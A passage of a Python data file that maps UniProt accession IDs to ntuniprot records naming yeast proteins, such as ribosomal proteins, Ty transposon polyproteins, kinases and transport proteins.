'P0CX21' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 5"),
'P0CX22' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 8"),
'P0CX23' : ntuniprot(RecName_Full='60S ribosomal protein L20-A {ECO:0000303|PubMed:9559554}'),
'P0CX24' : ntuniprot(RecName_Full='60S ribosomal protein L20-B {ECO:0000303|PubMed:9559554}'),
'P0CX25' : ntuniprot(RecName_Full='60S ribosomal protein L43-A {ECO:0000303|PubMed:9559554}'),
'P0CX26' : ntuniprot(RecName_Full='60S ribosomal protein L43-B {ECO:0000303|PubMed:9559554}'),
'P0CX27' : ntuniprot(RecName_Full='60S ribosomal protein L42-A {ECO:0000303|PubMed:9559554}'),
'P0CX28' : ntuniprot(RecName_Full='60S ribosomal protein L42-B {ECO:0000303|PubMed:9559554}'),
'P0CX29' : ntuniprot(RecName_Full='40S ribosomal protein S23-A {ECO:0000303|PubMed:9559554}'),
'P0CX30' : ntuniprot(RecName_Full='40S ribosomal protein S23-B {ECO:0000303|PubMed:9559554}'),
'P0CX31' : ntuniprot(RecName_Full='40S ribosomal protein S24-A {ECO:0000303|PubMed:9559554}'),
'P0CX32' : ntuniprot(RecName_Full='40S ribosomal protein S24-B {ECO:0000303|PubMed:9559554}'),
'P0CX33' : ntuniprot(RecName_Full='40S ribosomal protein S30-A {ECO:0000303|PubMed:9559554}'),
'P0CX34' : ntuniprot(RecName_Full='40S ribosomal protein S30-B {ECO:0000303|PubMed:9559554}'),
'P0CX35' : ntuniprot(RecName_Full='40S ribosomal protein S4-A {ECO:0000303|PubMed:9559554}'),
'P0CX36' : ntuniprot(RecName_Full='40S ribosomal protein S4-B {ECO:0000303|PubMed:9559554}'),
'P0CX37' : ntuniprot(RecName_Full='40S ribosomal protein S6-A {ECO:0000303|PubMed:9559554}'),
'P0CX38' : ntuniprot(RecName_Full='40S ribosomal protein S6-B {ECO:0000303|PubMed:9559554}'),
'P0CX39' : ntuniprot(RecName_Full='40S ribosomal protein S8-A {ECO:0000303|PubMed:9559554}'),
'P0CX40' : ntuniprot(RecName_Full='40S ribosomal protein S8-B {ECO:0000303|PubMed:9559554}'),
'P0CX41' : ntuniprot(RecName_Full='60S ribosomal protein L23-A {ECO:0000303|PubMed:9559554}'),
'P0CX42' : ntuniprot(RecName_Full='60S ribosomal protein L23-B {ECO:0000303|PubMed:9559554}'),
'P0CX43' : ntuniprot(RecName_Full='60S ribosomal protein L1-A {ECO:0000303|PubMed:9559554}'),
'P0CX44' : ntuniprot(RecName_Full='60S ribosomal protein L1-B {ECO:0000303|PubMed:9559554}'),
'P0CX45' : ntuniprot(RecName_Full='60S ribosomal protein L2-A {ECO:0000303|PubMed:9559554}'),
'P0CX46' : ntuniprot(RecName_Full='60S ribosomal protein L2-B {ECO:0000303|PubMed:9559554}'),
'P0CX47' : ntuniprot(RecName_Full='40S ribosomal protein S11-A {ECO:0000303|PubMed:9559554}'),
'P0CX48' : ntuniprot(RecName_Full='40S ribosomal protein S11-B {ECO:0000303|PubMed:9559554}'),
'P0CX49' : ntuniprot(RecName_Full='60S ribosomal protein L18-A {ECO:0000303|PubMed:9559554}'),
'P0CX50' : ntuniprot(RecName_Full='60S ribosomal protein L18-B {ECO:0000303|PubMed:9559554}'),
'P0CX51' : ntuniprot(RecName_Full='40S ribosomal protein S16-A {ECO:0000303|PubMed:9559554}'),
'P0CX52' : ntuniprot(RecName_Full='40S ribosomal protein S16-B {ECO:0000303|PubMed:9559554}'),
'P0CX53' : ntuniprot(RecName_Full='60S ribosomal protein L12-A {ECO:0000303|PubMed:9559554}'),
'P0CX54' : ntuniprot(RecName_Full='60S ribosomal protein L12-B {ECO:0000303|PubMed:9559554}'),
'P0CX55' : ntuniprot(RecName_Full='40S ribosomal protein S18-A {ECO:0000303|PubMed:9559554}'),
'P0CX56' : ntuniprot(RecName_Full='40S ribosomal protein S18-B {ECO:0000303|PubMed:9559554}'),
'P0CX57' : ntuniprot(RecName_Full='Transposon Ty1-A Gag polyprotein'),
'P0CX58' : ntuniprot(RecName_Full='Transposon Ty1-PR1 Gag polyprotein'),
'P0CX59' : ntuniprot(RecName_Full='Transposon Ty1-OR Gag polyprotein'),
'P0CX60' : ntuniprot(RecName_Full='Transposon Ty1-PR2 Gag polyprotein'),
'P0CX61' : ntuniprot(RecName_Full='Transposon Ty2-F Gag polyprotein'),
'P0CX62' : ntuniprot(RecName_Full='Transposon Ty2-GR2 Gag polyprotein'),
'P0CX63' : ntuniprot(RecName_Full='Transposon Ty2-F Gag-Pol polyprotein'),
'P0CX64' : ntuniprot(RecName_Full='Transposon Ty2-GR2 Gag-Pol polyprotein'),
'P0CX65' : ntuniprot(RecName_Full='Transposon Ty1-DR5 Gag polyprotein'),
'P0CX66' : ntuniprot(RecName_Full='Transposon Ty1-ER2 Gag polyprotein'),
'P0CX67' : ntuniprot(RecName_Full='Transposon Ty1-GR3 Gag polyprotein'),
'P0CX68' : ntuniprot(RecName_Full='Transposon Ty1-LR1 Gag polyprotein'),
'P0CX69' : ntuniprot(RecName_Full='Transposon Ty1-MR2 Gag polyprotein'),
'P0CX70' : ntuniprot(RecName_Full='Transposon Ty1-DR6 Gag polyprotein'),
'P0CX71' : ntuniprot(RecName_Full='Transposon Ty1-ER1 Gag polyprotein'),
'P0CX72' : ntuniprot(RecName_Full='Transposon Ty1-LR2 Gag polyprotein'),
'P0CX73' : ntuniprot(RecName_Full='Transposon Ty1-PL Gag polyprotein'),
'P0CX74' : ntuniprot(RecName_Full='Transposon Ty1-JR1 Gag polyprotein'),
'P0CX75' : ntuniprot(RecName_Full='Transposon Ty1-LR3 Gag polyprotein'),
'P0CX76' : ntuniprot(RecName_Full='Transposon Ty1-ML2 Gag polyprotein'),
'P0CX77' : ntuniprot(RecName_Full='L-asparaginase 2-2'),
'P0CX78' : ntuniprot(RecName_Full='L-asparaginase 2-3'),
'P0CX79' : ntuniprot(RecName_Full='L-asparaginase 2-4'),
'P0CX80' : ntuniprot(RecName_Full='Copper metallothionein 1-1'),
'P0CX81' : ntuniprot(RecName_Full='Copper metallothionein 1-2'),
'P0CX82' : ntuniprot(RecName_Full='60S ribosomal protein L19-A {ECO:0000303|PubMed:9559554}'),
'P0CX83' : ntuniprot(RecName_Full='60S ribosomal protein L19-B {ECO:0000303|PubMed:9559554}'),
'P0CX84' : ntuniprot(RecName_Full='60S ribosomal protein L35-A {ECO:0000303|PubMed:9559554}'),
'P0CX85' : ntuniprot(RecName_Full='60S ribosomal protein L35-B {ECO:0000303|PubMed:9559554}'),
'P0CX86' : ntuniprot(RecName_Full='60S ribosomal protein L41-A {ECO:0000303|PubMed:9559554}'),
'P0CX87' : ntuniprot(RecName_Full='60S ribosomal protein L41-B {ECO:0000303|PubMed:9559554}'),
'P0CX90' : ntuniprot(RecName_Full='Uncharacterized protein YAR061W'),
'P0CX91' : ntuniprot(RecName_Full='Uncharacterized protein YHR212W-A'),
'P0CX92' : ntuniprot(RecName_Full='Putative uncharacterized protein YAR069C'),
'P0CX93' : ntuniprot(RecName_Full='Uncharacterized protein YHR214C-D'),
'P0CX94' : ntuniprot(RecName_Full='UPF0479 membrane protein YER190C-B'),
'P0CX95' : ntuniprot(RecName_Full='UPF0479 membrane protein YEL077W-A'),
'P0CX96' : ntuniprot(RecName_Full='UPF0479 membrane protein YGR296C-B'),
'P0CX97' : ntuniprot(RecName_Full='UPF0479 membrane protein YPL283W-B'),
'P0CX98' : ntuniprot(RecName_Full='UPF0479 membrane protein YPR204C-A'),
'P0CX99' : ntuniprot(RecName_Full='UPF0479 membrane protein YFL068W'),
'P0CY00' : ntuniprot(RecName_Full='UPF0479 membrane protein YLL066W-A'),
'P0CY01' : ntuniprot(RecName_Full='UPF0479 membrane protein YLL067W-A'),
'P0CY02' : ntuniprot(RecName_Full='Uncharacterized protein YLR154C-H'),
'P0CY03' : ntuniprot(RecName_Full='Uncharacterized protein YLR156C-A'),
'P0CY04' : ntuniprot(RecName_Full='Uncharacterized protein YLR157C-C'),
'P0CY05' : ntuniprot(RecName_Full='Uncharacterized protein YLR159C-A'),
'P0CY06' : ntuniprot(RecName_Full='Mating-type protein ALPHA1'),
'P0CY07' : ntuniprot(RecName_Full='Silenced mating-type protein ALPHA1'),
'P0CY08' : ntuniprot(RecName_Full='Mating-type protein ALPHA2'),
'P0CY09' : ntuniprot(RecName_Full='Silenced mating-type protein ALPHA2'),
'P0CY11' : ntuniprot(RecName_Full='Silenced mating-type protein A1'),
'P0CY13' : ntuniprot(RecName_Full='Silenced mating-type protein A2'),
'P0CZ17' : ntuniprot(RecName_Full='L-asparaginase 2-1'),
'P10080' : ntuniprot(RecName_Full='Single-stranded nucleic acid-binding protein'),
'P10081' : ntuniprot(RecName_Full='ATP-dependent RNA helicase eIF4A'),
'P10127' : ntuniprot(RecName_Full='Alcohol dehydrogenase 4'),
'P10174' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 7'),
'P10355' : ntuniprot(RecName_Full='Protein PET122, mitochondrial'),
'P10356' : ntuniprot(RecName_Full='Uncharacterized protein YER152C'),
'P10363' : ntuniprot(RecName_Full='DNA primase small subunit'),
'P10507' : ntuniprot(RecName_Full='Mitochondrial-processing peptidase subunit beta'),
'P10566' : ntuniprot(RecName_Full='Mitochondrial RNA-splicing protein MRS3'),
'P10591' : ntuniprot(RecName_Full='Heat shock protein SSA1'),
'P10592' : ntuniprot(RecName_Full='Heat shock protein SSA2'),
'P10614' : ntuniprot(RecName_Full='Lanosterol 14-alpha demethylase'),
'P10622' : ntuniprot(RecName_Full='60S acidic ribosomal protein P1-beta {ECO:0000303|PubMed:9559554}'),
'P10659' : ntuniprot(RecName_Full='S-adenosylmethionine synthase 1'),
'P10662' : ntuniprot(RecName_Full='37S ribosomal protein MRP1, mitochondrial'),
'P10663' : ntuniprot(RecName_Full='37S ribosomal protein MRP2, mitochondrial'),
'P10664' : ntuniprot(RecName_Full='60S ribosomal protein L4-A {ECO:0000303|PubMed:9559554}'),
'P10823' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein alpha-2 subunit'),
'P10834' : ntuniprot(RecName_Full='Protein PET54'),
'P10849' : ntuniprot(RecName_Full='Mitochondrial transcription factor 2'),
'P10862' : ntuniprot(RecName_Full='Postreplication repair E3 ubiquitin-protein ligase RAD18'),
'P10863' : ntuniprot(RecName_Full='Cold shock-induced protein TIR1'),
'P10869' : ntuniprot(RecName_Full='Aspartokinase'),
'P10870' : ntuniprot(RecName_Full='High-affinity glucose transporter SNF3'),
'P10961' : ntuniprot(RecName_Full='Heat shock factor protein'),
'P10962' : ntuniprot(RecName_Full='Protein MAK16'),
'P10963' : ntuniprot(RecName_Full='Phosphoenolpyruvate carboxykinase (ATP)'),
'P10964' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA190'),
'P11075' : ntuniprot(RecName_Full='Protein transport protein SEC7'),
'P11076' : ntuniprot(RecName_Full='ADP-ribosylation factor 1'),
'P11154' : ntuniprot(RecName_Full='Pyruvate carboxylase 1'),
'P11325' : ntuniprot(RecName_Full='Leucine--tRNA ligase, mitochondrial'),
'P11353' : ntuniprot(RecName_Full='Oxygen-dependent coproporphyrinogen-III oxidase'),
'P11412' : ntuniprot(RecName_Full='Glucose-6-phosphate 1-dehydrogenase'),
'P11433' : ntuniprot(RecName_Full='Cell division control protein 24'),
'P11484' : ntuniprot(RecName_Full='Ribosome-associated molecular chaperone SSB1 {ECO:0000303|PubMed:11739779}'),
'P11491' : ntuniprot(RecName_Full='Repressible alkaline phosphatase'),
'P11632' : ntuniprot(RecName_Full='Non-histone chromosomal protein 6A'),
'P11633' : ntuniprot(RecName_Full='Non-histone chromosomal protein 6B'),
'P11655' : ntuniprot(RecName_Full='Guanine nucleotide-exchange factor SEC12'),
'P11709' : ntuniprot(RecName_Full='Nuclear fusion protein BIK1'),
'P11710' : ntuniprot(RecName_Full='Nuclear fusion protein FUS1'),
'P11745' : ntuniprot(RecName_Full='Ran GTPase-activating protein 1'),
'P11746' : ntuniprot(RecName_Full='Pheromone receptor transcription factor'),
'P11747' : ntuniprot(RecName_Full='Transcription initiation factor TFIID subunit 13'),
'P11792' : ntuniprot(RecName_Full='Serine/threonine-protein kinase SCH9'),
'P11914' : ntuniprot(RecName_Full='Mitochondrial-processing peptidase subunit alpha'),
'P11927' : ntuniprot(RecName_Full='Cell division control protein KAR1'),
'P11938' : ntuniprot(RecName_Full='DNA-binding protein RAP1'),
'P11972' : ntuniprot(RecName_Full='Protein SST2'),
'P11978' : ntuniprot(RecName_Full='Regulatory protein SIR4'),
'P11986' : ntuniprot(RecName_Full='Inositol-3-phosphate synthase'),
'P12383' : ntuniprot(RecName_Full='Transcription factor PDR1'),
'P12385' : ntuniprot(RecName_Full='Eukaryotic peptide chain release factor subunit 1'),
'P12611' : ntuniprot(RecName_Full='Growth regulation protein'),
'P12612' : ntuniprot(RecName_Full='T-complex protein 1 subunit alpha'),
'P12630' : ntuniprot(RecName_Full='Barrierpepsin'),
'P12683' : ntuniprot(RecName_Full='3-hydroxy-3-methylglutaryl-coenzyme A reductase 1'),
'P12684' : ntuniprot(RecName_Full='3-hydroxy-3-methylglutaryl-coenzyme A reductase 2'),
'P12685' : ntuniprot(RecName_Full='High-affinity potassium transport protein'),
'P12686' : ntuniprot(RecName_Full='37S ribosomal protein MRP13, mitochondrial'),
'P12687' : ntuniprot(RecName_Full='54S ribosomal protein L2, mitochondrial'),
'P12688' : ntuniprot(RecName_Full='Serine/threonine-protein kinase YPK1'),
'P12689' : ntuniprot(RecName_Full='DNA repair protein REV1'),
'P12695' : ntuniprot(RecName_Full='Dihydrolipoyllysine-residue acetyltransferase component of pyruvate dehydrogenase complex, mitochondrial'),
'P12709' : ntuniprot(RecName_Full='Glucose-6-phosphate isomerase'),
'P12753' : ntuniprot(RecName_Full='DNA repair protein RAD50'),
'P12754' : ntuniprot(RecName_Full='Translation initiation factor eIF-2B subunit delta'),
'P12866' : ntuniprot(RecName_Full='Alpha-factor-transporting ATPase'),
'P12868' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase PEP5 {ECO:0000305|PubMed:22570702}'),
'P12887' : ntuniprot(RecName_Full='Uracil-DNA glycosylase {ECO:0000255|HAMAP-Rule:MF_03166}'),
'P12904' : ntuniprot(RecName_Full="5'-AMP-activated protein kinase subunit gamma"),
'P12945' : ntuniprot(RecName_Full='N-terminal acetyltransferase A complex subunit NAT1'),
'P12954' : ntuniprot(RecName_Full='ATP-dependent DNA helicase SRS2'),
'P12962' : ntuniprot(RecName_Full='Cap-associated protein CAF20'),
'P13045' : ntuniprot(RecName_Full='Protein GAL3'),
'P13090' : ntuniprot(RecName_Full='Aminotriazole resistance protein'),
'P13099' : ntuniprot(RecName_Full='DNA topoisomerase 3'),
'P13130' : ntuniprot(RecName_Full='Sporulation-specific wall maturation protein'),
'P13134' : ntuniprot(RecName_Full='Kexin'),
'P13181' : ntuniprot(RecName_Full='Galactose transporter'),
'P13185' : ntuniprot(RecName_Full='Serine/threonine protein kinase KIN1'),
'P13186' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KIN2'),
'P13188' : ntuniprot(RecName_Full='Glutamine--tRNA ligase'),
'P13259' : ntuniprot(RecName_Full='Choline-phosphate cytidylyltransferase'),
'P13298' : ntuniprot(RecName_Full='Orotate phosphoribosyltransferase 1'),
'P13365' : ntuniprot(RecName_Full='G1/S-specific cyclin CLN3'),
'P13382' : ntuniprot(RecName_Full='DNA polymerase alpha catalytic subunit A'),
'P13393' : ntuniprot(RecName_Full='TATA-box-binding protein'),
'P13433' : ntuniprot(RecName_Full='DNA-directed RNA polymerase, mitochondrial'),
'P13434' : ntuniprot(RecName_Full='Transcriptional activator HAP3'),
'P13483' : ntuniprot(RecName_Full='Oligo(A)/oligo(T)-binding protein'),
'P13517' : ntuniprot(RecName_Full='F-actin-capping protein subunit beta'),
'P13574' : ntuniprot(RecName_Full='Protein STE12'),
'P13586' : ntuniprot(RecName_Full='Calcium-transporting ATPase 1'),
'P13587' : ntuniprot(RecName_Full='Sodium transport ATPase 1'),
'P13663' : ntuniprot(RecName_Full='Aspartate-semialdehyde dehydrogenase'),
'P13711' : ntuniprot(RecName_Full='Acyl-coenzyme A oxidase'),
'P13712' : ntuniprot(RecName_Full='Chromatin assembly factor 1 subunit p50'),
'P13856' : ntuniprot(RecName_Full='Ras-related protein RSR1'),
'P13902' : ntuniprot(RecName_Full='Protein INO4'),
'P14020' : ntuniprot(RecName_Full='Dolichol-phosphate mannosyltransferase'),
'P14063' : ntuniprot(RecName_Full='54S ribosomal protein L31, mitochondrial'),
'P14064' : ntuniprot(RecName_Full='Transcriptional activator HAP4'),
'P14065' : ntuniprot(RecName_Full='Glycerol 2-dehydrogenase (NADP(+))'),
'P14066' : ntuniprot(RecName_Full='Cytochrome b translational activator protein CBS1, mitochondrial'),
'P14120' : ntuniprot(RecName_Full='60S ribosomal protein L30 {ECO:0000303|PubMed:9559554}'),
'P14126' : ntuniprot(RecName_Full='60S ribosomal protein L3 {ECO:0000303|PubMed:9559554}'),
'P14127' : ntuniprot(RecName_Full='40S ribosomal protein S17-B {ECO:0000303|PubMed:9559554}'),
'P14164' : ntuniprot(RecName_Full='ARS-binding factor 1'),
'P14180' : ntuniprot(RecName_Full='Chitin synthase 2'),
'P14242' : ntuniprot(RecName_Full='DNA mismatch repair protein PMS1'),
'P14284' : ntuniprot(RecName_Full='DNA polymerase zeta catalytic subunit'),
'P14291' : ntuniprot(RecName_Full='Protein RED1'),
'P14306' : ntuniprot(RecName_Full='Carboxypeptidase Y inhibitor'),
'P14359' : ntuniprot(RecName_Full='Protein SNA3'),
'P14540' : ntuniprot(RecName_Full='Fructose-bisphosphate aldolase'),
'P14680' : ntuniprot(RecName_Full='Dual specificity protein kinase YAK1'),
'P14681' : ntuniprot(RecName_Full='Mitogen-activated protein kinase KSS1'),
'P14682' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2-34 kDa'),
'P14693' : ntuniprot(RecName_Full='Sorting assembly machinery 35 kDa subunit'),
'P14724' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit CDC26'),
'P14736' : ntuniprot(RecName_Full='DNA repair protein RAD4'),
'P14737' : ntuniprot(RecName_Full='DNA repair protein RAD9'),
'P14741' : ntuniprot(RecName_Full='Translation initiation factor eIF-2B subunit alpha'),
'P14742' : ntuniprot(RecName_Full='Glutamine--fructose-6-phosphate aminotransferase [isomerizing]'),
'P14743' : ntuniprot(RecName_Full='Glycylpeptide N-tetradecanoyltransferase'),
'P14747' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 2B catalytic subunit A2'),
'P14772' : ntuniprot(RecName_Full='Bile pigment transporter 1'),
'P14832' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase'),
'P14843' : ntuniprot(RecName_Full='Phospho-2-dehydro-3-deoxyheptonate aldolase, phenylalanine-inhibited'),
'P14904' : ntuniprot(RecName_Full='Vacuolar aminopeptidase 1 {ECO:0000303|PubMed:17329814}'),
'P14905' : ntuniprot(RecName_Full='Cytochrome B translational activator protein CBS2'),
'P14906' : ntuniprot(RecName_Full='Protein translocation protein SEC63'),
'P14907' : ntuniprot(RecName_Full='Nucleoporin NSP1'),
'P14908' : ntuniprot(RecName_Full='Mitochondrial transcription factor 1'),
'P14922' : ntuniprot(RecName_Full='General transcriptional corepressor CYC8'),
'P15019' : ntuniprot(RecName_Full='Transaldolase'),
'P15108' : ntuniprot(RecName_Full='ATP-dependent molecular chaperone HSC82'),
'P15179' : ntuniprot(RecName_Full='Aspartate--tRNA ligase, mitochondrial'),
'P15180' : ntuniprot(RecName_Full='Lysine--tRNA ligase, cytoplasmic'),
'P15202' : ntuniprot(RecName_Full='Peroxisomal catalase A'),
'P15274' : ntuniprot(RecName_Full='AMP deaminase'),
'P15303' : ntuniprot(RecName_Full='Protein transport protein SEC23'),
'P15315' : ntuniprot(RecName_Full='Transcriptional activator protein CUP2'),
'P15365' : ntuniprot(RecName_Full='Allantoate permease'),
'P15367' : ntuniprot(RecName_Full='Signal peptidase complex catalytic subunit SEC11'),
'P15380' : ntuniprot(RecName_Full='Proline-specific permease'),
'P15424' : ntuniprot(RecName_Full='ATP-dependent RNA helicase MSS116, mitochondrial'),
'P15436' : ntuniprot(RecName_Full='DNA polymerase delta catalytic subunit'),
'P15442' : ntuniprot(RecName_Full='eIF-2-alpha kinase GCN2 {ECO:0000250|UniProtKB:Q9HGN1}'),
'P15454' : ntuniprot(RecName_Full='Guanylate kinase'),
'P15496' : ntuniprot(RecName_Full='Isopentenyl-diphosphate Delta-isomerase'),
'P15565' : ntuniprot(RecName_Full='tRNA (guanine(26)-N(2))-dimethyltransferase, mitochondrial'),
'P15624' : ntuniprot(RecName_Full='Phenylalanine--tRNA ligase beta subunit'),
'P15625' : ntuniprot(RecName_Full='Phenylalanine--tRNA ligase alpha subunit'),
'P15646' : ntuniprot(RecName_Full="rRNA 2'-O-methyltransferase fibrillarin"),
'P15700' : ntuniprot(RecName_Full='Uridylate kinase {ECO:0000255|HAMAP-Rule:MF_03172}'),
'P15703' : ntuniprot(RecName_Full='Glucan 1,3-beta-glucosidase'),
'P15705' : ntuniprot(RecName_Full='Heat shock protein STI1'),
'P15731' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2 4'),
'P15732' : ntuniprot(RecName_Full='Ubiquitin-conjugating enzyme E2-16 kDa'),
'P15790' : ntuniprot(RecName_Full='Casein kinase II subunit alpha'),
'P15801' : ntuniprot(RecName_Full='DNA polymerase gamma'),
'P15807' : ntuniprot(RecName_Full='Siroheme biosynthesis protein MET8'),
'P15873' : ntuniprot(RecName_Full='Proliferating cell nuclear antigen'),
'P15891' : ntuniprot(RecName_Full='Actin-binding protein'),
'P15938' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor ATP-dependent RNA helicase PRP16'),
'P15992' : ntuniprot(RecName_Full='Heat shock protein 26'),
'P16120' : ntuniprot(RecName_Full='Threonine synthase'),
'P16140' : ntuniprot(RecName_Full='V-type proton ATPase subunit B'),
'P16151' : ntuniprot(RecName_Full='Protein ERD1'),
'P16370' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB3'),
'P16387' : ntuniprot(RecName_Full='Pyruvate dehydrogenase E1 component subunit alpha, mitochondrial'),
'P16451' : ntuniprot(RecName_Full='Pyruvate dehydrogenase complex protein X component, mitochondrial'),
'P16467' : ntuniprot(RecName_Full='Pyruvate decarboxylase isozyme 2'),
'P16474' : ntuniprot(RecName_Full='Endoplasmic reticulum chaperone BiP {ECO:0000305}'),
'P16521' : ntuniprot(RecName_Full='Elongation factor 3A'),
'P16522' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit CDC23'),
'P16523' : ntuniprot(RecName_Full='Meiotic recombination 1 protein'),
'P16547' : ntuniprot(RecName_Full='Mitochondrial outer membrane protein OM45'),
'P16550' : ntuniprot(RecName_Full='Protein APA1'),
'P16603' : ntuniprot(RecName_Full='NADPH--cytochrome P450 reductase {ECO:0000255|HAMAP-Rule:MF_03212}'),
'P16622' : ntuniprot(RecName_Full='Ferrochelatase, mitochondrial'),
'P16639' : ntuniprot(RecName_Full='Arginyl-tRNA--protein transferase 1'),
'P16649' : ntuniprot(RecName_Full='General transcriptional corepressor TUP1'),
'P16658' : ntuniprot(RecName_Full='tRNA-splicing endonuclease subunit SEN2'),
'P16661' : ntuniprot(RecName_Full='Chitobiosyldiphosphodolichol beta-mannosyltransferase'),
'P16664' : ntuniprot(RecName_Full='Guanine nucleotide exchange factor subunit RGP1 {ECO:0000305}'),
'P16861' : ntuniprot(RecName_Full='ATP-dependent 6-phosphofructokinase subunit alpha {ECO:0000255|HAMAP-Rule:MF_03184}'),
'P16862' : ntuniprot(RecName_Full='ATP-dependent 6-phosphofructokinase subunit beta {ECO:0000255|HAMAP-Rule:MF_03184}'),
'P16892' : ntuniprot(RecName_Full='Mitogen-activated protein kinase FUS3'),
'P16965' : ntuniprot(RecName_Full='ATPase-stabilizing factor 15 kDa protein'),
'P17064' : ntuniprot(RecName_Full='Purine-cytosine permease FCY2'),
'P17065' : ntuniprot(RecName_Full='Rab guanine nucleotide exchange factor SEC2'),
'P17076' : ntuniprot(RecName_Full='60S ribosomal protein L8-A {ECO:0000303|PubMed:9559554}'),
'P17106' : ntuniprot(RecName_Full='Centromere-binding protein 1'),
'P17119' : ntuniprot(RecName_Full='Kinesin-like protein KAR3'),
'P17121' : ntuniprot(RecName_Full='GTPase-activating protein SAC7'),
'P17122' : ntuniprot(RecName_Full='Sporulation-specific protein 16'),
'P17123' : ntuniprot(RecName_Full='Sporulation-specific protein 12'),
'P17157' : ntuniprot(RecName_Full='Cyclin-dependent protein kinase PHO85'),
'P17214' : ntuniprot(RecName_Full='Telomere elongation protein EST1'),
'P17255' : ntuniprot(RecName_Full='V-type proton ATPase catalytic subunit A'),
'P17260' : ntuniprot(RecName_Full='Protein KRE1'),
'P17261' : ntuniprot(RecName_Full='Cystine transporter'),
'P17423' : ntuniprot(RecName_Full='Homoserine kinase'),
'P17442' : ntuniprot(RecName_Full='Phosphate system positive regulatory protein PHO81'),
'P17505' : ntuniprot(RecName_Full='Malate dehydrogenase, mitochondrial'),
'P17536' : ntuniprot(RecName_Full='Tropomyosin-1'),
'P17555' : ntuniprot(RecName_Full='Adenylyl cyclase-associated protein'),
'P17558' : ntuniprot(RecName_Full='37S ribosomal protein PET123, mitochondrial'),
'P17629' : ntuniprot(RecName_Full='THO complex subunit HPR1'),
'P17649' : ntuniprot(RecName_Full='4-aminobutyrate aminotransferase'),
'P17695' : ntuniprot(RecName_Full='Glutaredoxin-2, mitochondrial'),
'P17709' : ntuniprot(RecName_Full='Glucokinase-1'),
'P17883' : ntuniprot(RecName_Full='Superkiller protein 3'),
'P17890' : ntuniprot(RecName_Full='DNA-directed RNA polymerase III subunit RPC7'),
'P17891' : ntuniprot(RecName_Full='Clathrin light chain'),
'P17898' : ntuniprot(RecName_Full='Cholinephosphotransferase 1'),
'P17967' : ntuniprot(RecName_Full='Protein disulfide-isomerase'),
'P18238' : ntuniprot(RecName_Full='ADP,ATP carrier protein 3'),
'P18239' : ntuniprot(RecName_Full='ADP,ATP carrier protein 2'),
'P18408' : ntuniprot(RecName_Full='Phosphoadenosine phosphosulfate reductase'),
'P18409' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 10 {ECO:0000255|HAMAP-Rule:MF_03102}'),
'P18410' : ntuniprot(RecName_Full='Sporulation-specific protein SPO7'),
'P18411' : ntuniprot(RecName_Full='Protein FUN14'),
'P18412' : ntuniprot(RecName_Full='Ty transcription activator TEC1'),
'P18414' : ntuniprot(RecName_Full='ER lumen protein-retaining receptor'),
'P18480' : ntuniprot(RecName_Full='SWI/SNF chromatin-remodeling complex subunit SNF5'),
'P18494' : ntuniprot(RecName_Full='Nitrogen regulatory protein GLN3'),
'P18496' : ntuniprot(RecName_Full='Mitochondrial ATPase complex subunit ATP10'),
'P18544' : ntuniprot(RecName_Full='Acetylornithine aminotransferase, mitochondrial'),
'P18562' : ntuniprot(RecName_Full='Uracil phosphoribosyltransferase'),
'P18634' : ntuniprot(RecName_Full='Arrestin-related trafficking adapter 10'),
'P18759' : ntuniprot(RecName_Full='Vesicular-fusion protein SEC18'),
'P18851' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein subunit beta'),
'P18852' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein subunit gamma'),
'P18888' : ntuniprot(RecName_Full='Transcription regulatory protein SNF6'),
'P18898' : ntuniprot(RecName_Full='Geranylgeranyl transferase type-1 subunit beta'),
'P18899' : ntuniprot(RecName_Full='Stress protein DDR48'),
'P18900' : ntuniprot(RecName_Full='Hexaprenyl pyrophosphate synthase, mitochondrial'),
'P18961' : ntuniprot(RecName_Full='Serine/threonine-protein kinase YPK2/YKR2'),
'P18962' : ntuniprot(RecName_Full='Dipeptidyl aminopeptidase B'),
'P18963' : ntuniprot(RecName_Full='Inhibitory regulator protein IRA1'),
'P19073' : ntuniprot(RecName_Full='Cell division control protein 42'),
'P19097' : ntuniprot(RecName_Full='Fatty acid synthase subunit alpha'),
'P19145' : ntuniprot(RecName_Full='General amino-acid permease GAP1 {ECO:0000303|PubMed:5474888}'),
'P19146' : ntuniprot(RecName_Full='ADP-ribosylation factor 2'),
'P19158' : ntuniprot(RecName_Full='Inhibitory regulator protein IRA2'),
'P19211' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 5A-2'),
'P19262' : ntuniprot(RecName_Full='Dihydrolipoyllysine-residue succinyltransferase component of 2-oxoglutarate dehydrogenase complex, mitochondrial'),
'P19263' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 14'),
'P19358' : ntuniprot(RecName_Full='S-adenosylmethionine synthase 2'),
'P19414' : ntuniprot(RecName_Full='Aconitate hydratase, mitochondrial'),
'P19454' : ntuniprot(RecName_Full="Casein kinase II subunit alpha'"),
'P19516' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX11, mitochondrial'),
'P19524' : ntuniprot(RecName_Full='Myosin-2'),
'P19541' : ntuniprot(RecName_Full='Regulator of drug sensitivity 2'),
'P19657' : ntuniprot(RecName_Full='Plasma membrane ATPase 2'),
'P19658' : ntuniprot(RecName_Full='Exocyst complex component EXO70'),
'P19659' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 15'),
'P19735' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor 6'),
'P19736' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor PRP9'),
'P19807' : ntuniprot(RecName_Full='Choline transport protein'),
